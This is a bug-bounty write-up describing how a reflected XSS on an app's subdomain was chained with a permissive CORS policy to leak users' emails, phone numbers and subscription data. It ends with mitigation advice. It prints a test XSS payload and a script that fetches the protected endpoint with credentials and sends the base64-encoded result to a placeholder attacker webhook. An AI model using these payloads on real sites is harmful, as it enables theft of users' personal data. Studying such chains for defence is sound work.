From Reflected XSS to Critical Bug Led to Sensitive Data Leakage

20/07/26

Author

Nyx0r

Overview

Hello Hackers,

Today I will share with you the latest attack chain I found on a development-stage application that led me to access the users’ critical data, including emails, phone numbers, and subscription plan info.

Absolute Cinema - The target application

Attack Flow

The chain started from a normal reflected XSS found on a subdomain of the app that used to abuse CORS config on a specific page that allows only the assets owned by this app to share these critical creds, so we abused it to access this critical data and send it to the attacker server.

Proof of Concept

After a very basic recon on the target and creating an account (It’s just a customer role), there was a search functionality used to search for financial deals done by this user, so I tried a basic XSS payload to test it <svg/onload=confirm("Nyx0r_1s_H3r3")> and it worked

So, I was going to report it, and it would be the fastest bug I ever got, but I remembered that the page that contains the user's data contains CORS-related response headers, and I couldn’t bypass the allowed origin part

CORS headers on the response of the page that contains the user's data

But now I have control of the page that is considered an asset to this application, so my payload changed from just an alert that appears as a pop-up to a payload that tries to parse this critical data and then send it again base64-encrypted to an attacker-controlled server ( I used Webhook[.]site in this demo)

html

<script>
  fetch("https://<vulnerable-cors-endpoint>",{credentials:"include"}
    ).then(r=>r.text()
  ).then(data=>fetch("https://<attacker-webhook>/?data="+btoa(data)))
</script>

Conclusion

Now, our XSS bug mapped from medium severity to a critical severity bug by just chaining it with other misconfigurations.

So, this write-up demonstrates how a seemingly simple XSS vulnerability can be leveraged to exploit CORS misconfigurations and lead to data leakage. It highlights the importance of proper CORS implementation and the potential risks associated with insecure client-side scripting.

Recommended Mitigation for similar situations

Fix the XSS (Input Validation): Strictly sanitize all user input on both the client-side and server-side to prevent malicious code execution. Encode data before rendering it in the browser.

Harden the CORS Policy: Apply the principle of least privilege. Even if an asset is owned by the application, do not blindly grant it access to sensitive data endpoints unless that specific asset actively requires it to function.

Share this article: